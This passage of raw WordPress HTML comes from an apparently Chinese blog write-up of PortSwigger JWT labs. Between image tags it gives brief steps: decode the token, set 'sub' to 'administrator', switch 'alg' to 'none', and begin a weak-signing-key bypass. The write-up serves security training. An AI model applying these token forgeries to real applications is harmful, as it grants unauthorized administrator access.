alt=\"\" class=\"wp-image-1599\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9JWT\u5185\u5bb9\u8fdb\u884c\u89e3\u5bc6\u67e5\u770b\u5185\u5bb9<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-7-1024x561.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"561\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-7-1024x561.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1600\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u4fee\u6539sub\u503c\u4e3aadministrator<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-9-1024x626.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"626\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-9-1024x626.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1602\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-8-1024x364.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"364\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-8-1024x364.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1601\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><br>\u6709\u7f3a\u9677\u7684\u7b7e\u540d\u9a8c\u8bc1\u7ed5\u8fc7JWT\u8eab\u4efd\u9a8c\u8bc1<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/portswigger.net\/web-security\/jwt\/lab-jwt-authentication-bypass-via-flawed-signature-verification\">https:\/\/portswigger.net\/web-security\/jwt\/lab-jwt-authentication-bypass-via-flawed-signature-verification<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06alg\u66f4\u6539\u4e3anone\uff0csub\u6539\u4e3aadministrator<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-10-1024x601.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"601\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-10-1024x601.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1603\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-11-1024x299.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"299\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-11-1024x299.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1604\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u5f31\u7b7e\u540d\u5bc6\u94a5\u7ed5\u8fc7JWT\u8eab\u4efd\u9a8c\u8bc1<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/portswigger.net\/web-security\/jwt\/lab-jwt-authentication-bypass-via-weak-signing-key\">https:\/\/portswigger.net\/web-security\/jwt\/lab-jwt-authentication-bypass-via-weak-signing-key<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u6837\u7684\u767b\u5f55\u666e\u901a\u7528\u6237\u8d26\u53f7\u7136\u540e\u5bf9JWT\u5185\u5bb9\u8fdb\u884c\u89e3\u7801\u67e5\u770b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' 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